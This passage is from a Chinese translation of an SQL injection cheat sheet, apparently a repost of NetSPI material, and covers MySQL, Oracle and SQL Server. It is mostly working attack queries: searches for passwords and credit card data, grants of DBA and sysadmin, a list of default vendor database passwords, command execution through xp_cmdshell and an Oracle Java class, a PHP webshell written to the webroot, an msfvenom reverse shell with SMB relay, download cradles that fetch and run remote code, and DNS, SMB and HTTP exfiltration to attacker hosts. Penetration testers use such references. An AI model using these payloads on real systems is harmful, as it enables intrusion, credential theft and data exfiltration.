SELECT TO_CHAR(DBMS_METADATA.get_ddl('TABLE','DEPT','CONSUELA')) FROM dual
SQL Server
描述 语句
列出非默认数据库 SELECT NAME FROM sysdatabases WHERE (NAME NOT LIKE 'distribution') AND (NAME NOT LIKE 'master') AND (NAME NOT LIKE 'model') AND (NAME NOT LIKE 'msdb') AND (NAME NOT LIKE 'publication') AND (NAME NOT LIKE 'reportserver') AND (NAME NOT LIKE 'reportservertempdb') AND (NAME NOT LIKE 'resource') AND (NAME NOT LIKE 'tempdb') ORDER BY NAME;
列出非默认表 SELECT '[' + SCHEMA_NAME(t.schema_id) + '].[' + t.name + ']' AS fulltable_name, SCHEMA_NAME(t.schema_id) AS schema_name, t.name AS table_name, i.rows FROM sys.tables AS t INNER JOIN sys.sysindexes AS i ON t.object_id = i.id AND i.indid < 2 WHERE (ROWS> 0) AND (t.name NOT LIKE 'syscolumns') AND (t.name NOT LIKE 'syscomments') AND (t.name NOT LIKE 'sysconstraints') AND (t.name NOT LIKE 'sysdepends') AND (t.name NOT LIKE 'sysfilegroups') AND (t.name NOT LIKE 'sysfiles') AND (t.name NOT LIKE 'sysforeignkeys') AND (t.name NOT LIKE 'sysfulltextcatalogs') AND (t.name NOT LIKE 'sysindexes') AND (t.name NOT LIKE 'sysindexkeys') AND (t.name NOT LIKE 'sysmembers') AND (t.name NOT LIKE 'sysobjects') AND (t.name NOT LIKE 'syspermissions') AND (t.name NOT LIKE 'sysprotects') AND (t.name NOT LIKE 'sysreferences') AND (t.name NOT LIKE 'systypes') AND (t.name NOT LIKE 'sysusers') ORDER BY TABLE_NAME;
列名搜索 SELECT * FROM INFORMATION_SCHEMA.COLUMNS WHERE COLUMN_NAME like '%password%'
列出非默认列 SELECT * FROM INFORMATION_SCHEMA.COLUMNS WHERE CHARACTER_MAXIMUM_LENGTH > 14 AND DATA_TYPE NOT IN ('bigint','binary','bit','cursor','date','datetime','datetime2', 'datetimeoffset','float','geography','hierarchyid','image','int','money','real', 'smalldatetime','smallint','smallmoney','sql_variant','table','time','timestamp', 'tinyint','uniqueidentifier','varbinary','xml') AND TABLE_NAME='CreditCard' OR CHARACTER_MAXIMUM_LENGTH < 1 AND DATA_TYPE NOT IN ( 'bigint', 'binary', 'bit', 'cursor', 'date', 'datetime', 'datetime2', 'datetimeoffset', 'float', 'geography', 'hierarchyid', 'image', 'int', 'money', 'real', 'smalldatetime', 'smallint', 'smallmoney', 'sql_variant', 'table', 'time', 'timestamp', 'tinyint', 'uniqueidentifier', 'varbinary', 'xml') AND TABLE_NAME='CreditCard' ORDER BY COLUMN_NAME;
搜索透明加密 SELECT a.database_id as [dbid], a.name, HAS_DBACCESS(a.name) as [has_dbaccess], SUSER_SNAME(a.owner_sid) as [db_owner], a.is_trustworthy_on, a.is_db_chaining_on, a.is_broker_enabled, a.is_encrypted, a.is_read_only, a.create_date, a.recovery_model_desc, b.filename FROM [sys].[databases] a INNER JOIN [sys].[sysdatabases] b ON a.database_id = b.dbid ORDER BY a.database_id WHERE is_encrypted=1
按数据库大小搜索 SELECT a.database_id as [dbid], a.name, HAS_DBACCESS(a.name) as [has_dbaccess], SUSER_SNAME(a.owner_sid) as [db_owner], a.is_trustworthy_on, a.is_db_chaining_on, a.is_broker_enabled, a.is_encrypted, a.is_read_only, a.create_date, a.recovery_model_desc, b.filename, (SELECT CAST(SUM(size) * 8. / 1024 AS DECIMAL(8,2)) from sys.master_files where name like a.name) as [DbSizeMb] FROM [sys].[databases] a INNER JOIN [sys].[sysdatabases] b ON a.database_id = b.dbid ORDER BY DbSizeMb DESC

数据定位正则表达式

描述 语句
所有主要的信用卡提供商 ^(?:4[0-9]{12}(?:[0-9]{3})?|(?:5[1-5][0-9]{2}|222[1-9]|22[3-9][0-9]|2[3-6][0-9]{2}|27[01][0-9]|2720)[0-9]{12}|3[47][0-9]{13}|3(?:0[0-5]|[68][0-9])[0-9]{11}|6(?:011|5[0-9]{2})[0-9]{12}|(?:2131|1800|35\d{3})\d{11})$
Unmasked | Masked SSN ^(\d{3}-?\d{2}-?\d{4}|XXX-XX-XXXX)$

数据定位关键字

关键字
credit
card
pin
cvv
pan
password
social
ssn
account
confidential

3、提升特权

某些功能需要特权用户,并且为了升级漏洞,特权用户始终是第一步。

MySQL

还没有数据,如果您知道任何有用的方法,请在我们的Github上做出贡献!

Oracle

*需要特权用户

描述 语句
转储所有DBA用户名 SELECT username FROM user_role_privs WHERE granted_role='DBA';
建立DBA用户 * GRANT DBA to USER
创建过程 CREATE OR REPLACE PROCEDURE "SYSTEM".netspi1 (id IN VARCHAR2) AS PRAGMA autonomous_transaction; EXECUTE IMMEDIATE 'grant dba to scott'; COMMIT; END; BEGIN SYSTEM.netspi1('netspi'); END;
查找数据库链接 SELECT * FROM DBA_DB_LINKS
SELECT * FROM ALL_DB_LINKS
SELECT * FROM USER_DB_LINKS
查询数据库链接 SELECT * FROM sales@miami -- minimum for preconfigured
SELECT * FROM [email protected] -- standard usage for selecting table from schema on remote server
SELECT * FROM [email protected]@hq_1 -- standard usage for selecting table from schema on remote server instance
SELECT db_link,password FROM user_db_links WHERE db_link LIKE 'TEST%''
SELECT name,password FROM sys.link$ WHERE name LIKE 'TEST%';
SELECT name,passwordx FROM sys.link$ WHERE name LIKE 'TEST%';
在数据库链接上执行存储过程 EXEC mySchema.myPackage.myProcedure@myRemoteDB( 'someParameter' );
SELECT dbms_xmlquery.getxml('select * from emp') FROM [email protected]
创建数据库链接 CREATE SHARED PUBLIC DATABASE LINK supply.us.netspi.com; -- connected user setup
CREATE SHARED PUBLIC DATABASE LINK supply.us.netspi.com CONNECT TO harold AS tiger; -- standard defined user/pass
CREATE SHARED PUBLIC DATABASE LINK hq.netspi.com.com@hq_1 USING 'string_to_hq_1'; -- instance specific
CREATE SHARED PUBLIC DATABASE LINK link_2 CONNECT TO jane IDENTIFIED BY doe USING 'us_supply'; -- defined user
pass
删除链接 DROP DATABASE LINK miami;

SQL Server

*需要特权用户。以下查询需要各种权限类型。请继续关注详细的权限提升路径。

描述 语句
建立DBA用户 * EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin';
授予所有自定义对象的执行权限 SELECT 'grant exec on ' + QUOTENAME(ROUTINE_SCHEMA) + '.' +
QUOTENAME(ROUTINE_NAME) + ' TO test' FROM INFORMATION_SCHEMA.ROUTINES
WHERE OBJECTPROPERTY(OBJECT_ID(ROUTINE_NAME),'IsMSShipped') = 0 ;
授予执行所有存储过程 CREATE ROLE db_executor
GRANT EXECUTE TO db_executor
exec sp_addrolemember 'db_executor', 'YourSecurityAccount'
UNC路径注入 https://gist.github.com/nullbind/7dfca2a6309a4209b5aeef181b676c6e
https://blog.netspi.com/executing-smb-relay-attacks-via-sql-server-using-metasploit/
检测非模拟登录 SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_
principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'
模拟登录
注意:REVERT会将您带回原始登录名。
EXECUTE AS LOGIN = 'sa'; SELECT @@VERSION;
创建sysadmin用户 * USE [master]
GO
CREATE LOGIN [test] WITH PASSSWORD=N 'test', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF
GO
EXEC master..sp_addsrvrolemember @loginame=N'test', @rolename=N'sysadmin'
GO
创建sysadmin用户 * EXEC sp_addlogin 'user', 'pass';
* EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin';
删除用户 * EXEC sp_droplogin 'user';
检索SQL代理连接密码 exec msdb.dbo.sp_get_sqlagent_properties
检索DTS连接密码 select msdb.dbo.rtbldmbprops
获取sysadmin作为本地管理员 https://blog.netspi.com/get-sql-server-sysadmin-privileges-local-admin-powerupsql/
启动存储过程 https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/
触发器创建 https://blog.netspi.com/maintaining-persistence-via-sql-server-part-2-triggers/
Windows自动登录密码 https://blog.netspi.com/get-windows-auto-login-passwords-via-sql-server-powerupsql/
xp_regwrite非sysadmin执行 https://gist.github.com/nullbind/03af8d671621a6e1cef770bace19a49e
具有可信赖数据库的存储过程 https://blog.netspi.com/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases
存储过程用户模拟 https://blog.netspi.com/hacking-sql-server-stored-procedures-part-2-user-impersonation/
默认密码 sa:sa
sa:[empty]
[username]:[username]
实例的默认密码(实例名称,用户,密码) "ACS","ej","ej"
"ACT7","sa","sage"
"AOM2","admin","ca_admin"
"ARIS","ARIS9","*ARIS!1dm9n#"
"AutodeskVault","sa","AutodeskVault@26200" "BOSCHSQL","sa","RPSsql12345"
"BPASERVER9","sa","AutoMateBPA9"
"CDRDICOM","sa","CDRDicom50!"
"CODEPAL","sa","Cod3p@l"
"CODEPAL08","sa","Cod3p@l"
"CounterPoint","sa","CounterPoint8"
"CSSQL05","ELNAdmin","ELNAdmin"
"CSSQL05","sa","CambridgeSoft_SA"
"CADSQL","CADSQLAdminUser","Cr41g1sth3M4n!"
"DHLEASYSHIP","sa","DHLadmin@1"
"DPM","admin","ca_admin"
"DVTEL","sa",""
"EASYSHIP","sa","DHLadmin@1"
"ECC","sa","Webgility2011"
"ECOPYDB","e+C0py2007_@x","e+C0py2007_@x"
"ECOPYDB","sa","ecopy"
"Emerson2012","sa","42Emerson42Eme"
"HDPS","sa","sa"
"HPDSS","sa","Hpdsdb000001"
"HPDSS","sa","hpdss"
"INSERTGT","msi","keyboa5"
"INSERTGT","sa",""
"INTRAVET","sa","Webster#1"
"MYMOVIES","sa","t9AranuHA7"
"PCAMERICA","sa","pcAmer1ca"
"PCAMERICA","sa","PCAmerica"
"PRISM","sa","SecurityMaster08"
"RMSQLDATA","Super","Orange"
"RTCLOCAL","sa","mypassword"
"SALESLOGIX","sa","SLXMaster"
"SIDEXIS_SQL","sa","2BeChanged"
"SQL2K5","ovsd","ovsd"
"SQLEXPRESS","admin","ca_admin"
"STANDARDDEV2014","test","test" "TEW_SQLEXPRESS","tew","tew"
"vocollect","vocollect","vocollect"
"VSDOTNET","sa",""
"VSQL","sa","111"

4、执行系统命令

执行系统命令是SQL注入的主要目标之一,这有助于完全控制主机操作系统。这可能通过直接执行命令,修改现有数据以在网页上放置shell或者利用数据库中的隐藏功能来实现。

MySQL

描述 语句
命令执行(PHP) SELECT "" INTO OUTFILE '/var/www/shell.php'
使用MySQL CLI Access执行命令 https://infamoussyn.com/2014/07/11/gaining-a-root-shell-using-mysql-user-defined-functions-and-setuid-binaries/

SMB中继外壳

Requires

  • Metasploit(https://www.metasploit.com/)

  • smbrelayx(https://github.com/CoreSecurity/impacket)

生成反向shell有效负载
msfvenom -p windows/meterpreter/reverse_tcp LHOST=YOUR.IP.GOES.HERE LPORT=443  -f exe > reverse_shell.exe
生成一个侦听器来传递反向shell
smbrelayx.py -h VICTIM.IP.GOES.HERE -e ./reverse_shell.exe
执行下面的任何一个MySQL查询来调用监听器
select load_file('\\\\YOUR.IP.GOES.HERE\\aa');select load_file(0x5c5c5c5c3139322e3136382e302e3130315c5c6161);select 'netspi' into dumpfile '\\\\YOUR.IP.GOES.HERE\\aa';select 'netspi' into outfile '\\\\YOUR.IP.GOES.HERE\\aa';load data infile '\\\\YOUR.IP.GOES.HERE\\aa' into table database.table_name;

有关更多信息,请参见此处(https://osandamalith.com/2017/02/03/mysql-out-of-band-hacking/)

Oracle

如果安装了Java,可用于执行命令

描述 语句
创建Java类 /* create Java class */  
BEGIN EXECUTE IMMEDIATE 'create or replace and compile java source named "PwnUtil" as import java.io.*; public class PwnUtil{ public static String runCmd(String args){ try{ BufferedReader myReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream()));String stemp, str = "";while ((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}} public static String readFile(String filename){ try{ BufferedReader myReader = new BufferedReader(new FileReader(filename));String stemp, str = "";while((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}}};'; END;
/
BEGIN EXECUTE IMMEDIATE 'create or replace function PwnUtilFunc(p_cmd in varchar2) return varchar2 as language java name ''PwnUtil.runCmd(java.lang.String) return String'';'; END;
/
/* run OS command */
SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual;
创建Java类(十六进制编码) /* create Java class */
SELECT TO_CHAR(dbms_xmlquery.getxml('declare PRAGMA AUTONOMOUS_TRANSACTION;
begin execute immediate utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c61636520616e6420636f6d70
696c65206a61766120736f75726365206e616d6564202270776e7574696c2220617320696d706f7274206a6176612e696f2e2a3b7075626c696
320636c6173732070776e7574696c7b7075626c69632073746174696320537472696e672072756e28537472696e672061726773297b7472797b42756
66665726564526561646572206d726561643d6e6577204275666665726564526561646572286e657720496e70757453747265616d526561646572285
2756e74696d652e67657452756e74696d6528292e657865632861726773292e676574496e70757453747265616d282929293b20537472696e6720737
4656d702c207374723d22223b207768696c6528287374656d703d6d726561642e726561644c696e6528292920213d6e756c6c29207374722b3d73746
56d702b225c6e223b206d726561642e636c6f736528293b2072657475726e207374723b7d636174636828457863657074696f6e2065297b726574757
26e20652e746f537472696e6728293b7d7d7d''));
SEXECUTE IMMEDIATE utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c6163652066756e6374696f6e2050776
e5574696c46756e6328705f636d6420696e207661726368617232292072657475726e207661726368617232206173206c616e6775616765206a
617661206e616d65202770776e7574696c2e72756e286a6176612e6c616e672e537472696e67292072657475726e20537472696e67273b'')); end;')) results FROM dual
/* run OS command */
SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual;

SQL Server

名称 语句
xp_cmdshell -- Enable show advanced options
sp_configure 'show advanced options', 1
RECONFIGURE
GO  
-- Enable xp_cmdshell
sp_configure 'xp_cmdshell', 1
RECONFIGURE
GO
EXEC xp_cmdshell 'net user'
写入注册表自动运行 https://blog.netspi.com/establishing-registry-persistence-via-sql-server-powerupsql/
https://gist.github.com/nullbind/03af8d671621a6e1cef770bace19a49e
写入文件自动运行 https://blog.netspi.com/how-to-hack-database-links-in-sql-server/
Agent Job https://www.optiv.com/blog/mssql-agent-jobs-for-command-execution
存储过程中的SQL注入 https://blog.netspi.com/hacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation/
CLR组件 https://blog.netspi.com/attacking-sql-server-clr-assemblies/
自定义扩展存储过程 https://github.com/NetSPI/PowerUpSQL/blob/master/templates/cmd_exec.cpp
TSQL
名称 语句
ActiveX Javascript Agent Job https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/oscmdexec_agentjob_activex_jscript.sql
ActiveX VBScript Agent Job https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/oscmdexec_agentjob_activex_vbscript.sql
cmdexec Agent Job https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/oscmdexec_agentjob_cmdexec.sql
Powershell Agent Job https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/oscmdexec_agentjob_powershell.sql
自定义命令行shell https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/oscmdexec_customxp.cpp
OLE自动化对象 https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/oscmdexec_oleautomationobject.sql
OPENROWSET https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/oscmdexec_openrowset.sql
Python https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/oscmdexec_pythonscript.tsql
R https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/oscmdexec_rscript.sql
xp_cmdshell proxy https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/oscmdexec_xpcmdshell_proxy.sql

5、读写文件

读取和写入文件有助于数据收集和数据泄露。许多方法包括写入webroot,这可以执行webshell,或允许数据通过端口80/443被泄露。

MySQL

*需要特权用户

描述 语句
转储到文件 SELECT * FROM mytable INTO dumpfile '/tmp/somefile'
写入 PHP Shell 到文件 SELECT 'system($_GET['c']); ?>' INTO OUTFILE '/var/www/shell.php'
读文件 SELECT LOAD_FILE('/etc/passwd')
读取混淆的文件 SELECT LOAD_FILE(0x633A5C626F6F742E696E69)
reads c:\boot.ini
文件权限 SELECT file_priv FROM mysql.user WHERE user = 'netspi'
SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like '%netspi%'

Oracle

有时可以使用UTL_FILE。检查以下是否为非null

SELECT value FROM v$parameter2 WHERE name = 'utl_file_dir';
如果安装了Java(Oracle Express中不可用),可用于读取和写入文件。

SQL Server

*需要特权用户

描述 语句
在服务器中下载Cradle bulk - TSQL -- Bulk Insert - Download Cradle Example
-- Setup variables Declare @cmd varchar(8000)
-- Create temp table
CREATE TABLE #file (content nvarchar(4000));
-- Read file into temp table - web server must support propfind

BULK INSERT #file FROM '\sharepoint.acme.com@SSL\Path\to\file.txt';
-- Select contents of file

SELECT @cmd = content FROM #file
-- Display command

SELECT @cmd
-- Run command

EXECUTE(@cmd)
-- Drop the temp table

DROP TABLE #file
下载Cradle OAP 1 - SQL
-- OLE Automation Procedure - Download Cradle Example
-- Does not require a table, but can't handle larger payloads

-- Note: This also works with unc paths \\ip\file.txt
-- Note: This also works with webdav paths \ip@80\file.txt However, the target web server needs to support propfind.

-- Setup Variables
DECLARE @url varchar(300)
DECLARE @WinHTTP int
DECLARE @handle int
DECLARE @Command varchar(8000

-- Set target url containting TSQL
SET @url = 'http://127.0.0.1/mycmd.txt'

-- Setup namespace
EXEC @handle=sp_OACreate 'WinHttp.WinHttpRequest.5.1',@WinHTTP OUT

-- Call the Open method to setup the HTTP request
EXEC @handle=sp_OAMethod @WinHTTP, 'Open',NULL,'GET',@url,'false'

-- Call the Send method to send the HTTP GET request
EXEC @handle=sp_OAMethod @WinHTTP,'Send'

-- Capture the HTTP response content
EXEC @handle=sp_OAGetProperty @WinHTTP,'ResponseText', @Command out
-- Destroy the object
EXEC @handle=sp_OADestroy @WinHTTP
-- Display command
SELECT @Command
-- Run command
EXECUTE (@Command)
下载Cradle OAP 2 - TSQL -- OLE Automation Procedure - Download Cradle Example - Option 2
-- Can handle larger payloads, but requires a table

-- Note: This also works with unc paths \ip\file.txt
-- Note: This also works with webdav paths \ip@80\file.txt However, the target web server needs to support propfind.
-- Setup Variables
DECLARE @url varchar(300)
DECLARE @WinHTTP int
DECLARE @Handle int
DECLARE @Command varchar(8000)
-- Set target url containting TSQL
SET @url = 'http://127.0.0.1/mycmd.txt'
-- Create temp table to store downloaded string
CREATE TABLE #text(html text NULL)
-- Setup namespace
EXEC @Handle=sp_OACreate 'WinHttp.WinHttpRequest.5.1',@WinHTTP OUT
-- Call open method to configure HTTP request
EXEC @Handle=sp_OAMethod @WinHTTP, 'Open',NULL,'GET',@url,'false'
-- Call Send method to send the HTTP request
EXEC @Handle=sp_OAMethod @WinHTTP,'Send'
-- Capture the HTTP response content
INSERT #text(html)
EXEC @Handle=sp_OAGetProperty @WinHTTP,'ResponseText'
-- Destroy the object
EXEC @Handle=sp_OADestroy @WinHTTP
-- Display the commad
SELECT @Command = html from #text
SELECT @Command
-- Run the command
EXECUTE (@Command)
-- Remove temp table
DROP TABLE #text
读取文件 - TSQL https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/readfile_OpenDataSourceTxt.sql
https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/readfile_BulkInsert.sql
https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/readfile_OpenDataSourceXlsx
https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/readfile_OpenRowSetBulk.sql
https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/readfile_OpenRowSetTxt.sql
https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/readfile_OpenRowSetXlsx.sql
写文件 - TSQL https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/writefile_bulkinsert.sql
https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/writefile_OpenRowSetTxt.sql

6、横向移动

横向移动允许测试人员访问不同的功能/数据集,这些功能/数据不明确要求为特权的用户。横向切换用户帐户将暴露不同的信息,并可能有助于损害更多特权用户。

MySQL

*需要特权用户

描述 语句
创建用户 CREATE USER 'netspi'@'%' IDENTIFIED BY 'password'
删除用户 DROP USER netspi

Oracle

描述 语句
创建用户 CREATE USER user IDENTIFIED by pass;
删除用户 DROP USER user

SQL Server

*需要特权用户

描述 语句
创建用户 EXEC sp_addlogin 'user', 'pass';
删除用户 EXEC sp_droplogin 'user';
链接抓取 https://blog.netspi.com/sql-server-link-crawling-powerupsql/
作为当前服务连接到远程数据库 --Requires sysadmin
SELECT * FROM OPENDATASOURCE('SQLNCLI', 'Server=MSSQLSRV04\SQLSERVER2016;Trusted_Connection=yes;').master.dbo.sysdatabases

7、数据泄露

泄漏的数据以及任何受损数据的脱机副本可以用来做数据分析。数据可以通过文件,各种Layer 4请求和隐藏技术被泄漏。

* 需要特权用户

MySQL

描述 语句
DNS 请求 SELECT LOAD\_FILE(concat('\\\\',(QUERY\_WITH\_ONLY\_ONE\_ROW), 'yourhost.com\\'))
SMB 分享 SELECT * FROM USERS INTO OUTFILE '\\attacker\SMBshare\output.txt'
HTTP 服务器 SELECT * FROM USERS INTO OUTFILE '/var/www/html/output.txt'
数字连接 SELECT length(user())
SELECT ASCII(substr(user(),1))
当数据只能作为数字导出时,转换为ASCII。有关自动化点击此处连接.

Oracle

描述 语句
将多行合并为一行 SELECT dbms_xmlgen.getxmltype('select user from dual') FROM dual
XML外部实体 SELECT xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://IP/test"> %remote; %param1;]>') FROM dual;
URL_HTTP 请求 (Pre-11gR2) SELECT UTL_HTTP.request ('http://IP/test') FROM dual;
避免特殊字符 SELECT UTL_URL.escape('http://IP/'  || USER) FROM dual;

SQL Server

注意:可以从MSSQL发出DNS请求。但是,此请求需要管理员权限和SQL Server 2005。

描述 语句
制造DNS请求 DECLARE @host varchar(800); select @host = name + '-' + master.sys.fn_varbintohexstr(password_hash) + 'netspi.com' from sys.sql_logins;exec('xp_fileexist "\' + @host + 'c$boot.ini"');
UNC路径(DNS请求) xp_dirtree ‘\\data.domain.com\file’
启用sp_send_dbmail并发送查询 sp_configure 'show advanced options', 1;RECONFIGURE;sp_configure 'Database Mail XPs', 1;RECONFIGURE;exec msdb..sp_send_dbmail @recipients='[email protected]',@query='select @@version';
基本的xp_sendmail查询 EXEC master..xp_sendmail '[email protected]', 'This is a test.'
使用xp_sendmail发送完整的电子邮件 EXEC xp_sendmail @recipients='[email protected]', @message='This is a test.', @copy_recipients='[email protected]', @subject='TEST'
通过xp_sendmail发送查询结果 EXEC xp_sendmail '[email protected]', @query='SELECT @@version';
通过xp_sendmail发送查询结果作为附件 CREATE TABLE ##texttab (c1 text) INSERT ##texttab values ('Put messge here.') DECLARE @cmd varchar(56)SET @cmd = 'SELECT c1 from ##texttab'EXEC master.dbo.xp_sendmail 'robertk',@query = @cmd, @no_header='TRUE'DROP TABLE ##texttab

8、持久

在系统上获得持久性可在网络中创建半永久性的立足点,从而延长利用时间。有了这个额外的时间,可以尝试不同的载体和利用方法。

*需要特权用户

MySQL

还没有数据,如果你知道任何有用的方法,请在我们的Github上做出贡献!

Oracle

还没有数据,如果你知道任何有用的方法,请在我们的Github上做出贡献!

SQL Server

描述 语句
启动存储过程 https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/
触发器 https://blog.netspi.com/maintaining-persistence-via-sql-server-part-2-triggers/
Regwrite https://blog.netspi.com/establishing-registry-persistence-via-sql-server-powerupsql/


(END)


往期精彩



感兴趣的可以点个关注!!!

关注「安全先师」
把握前沿安全脉搏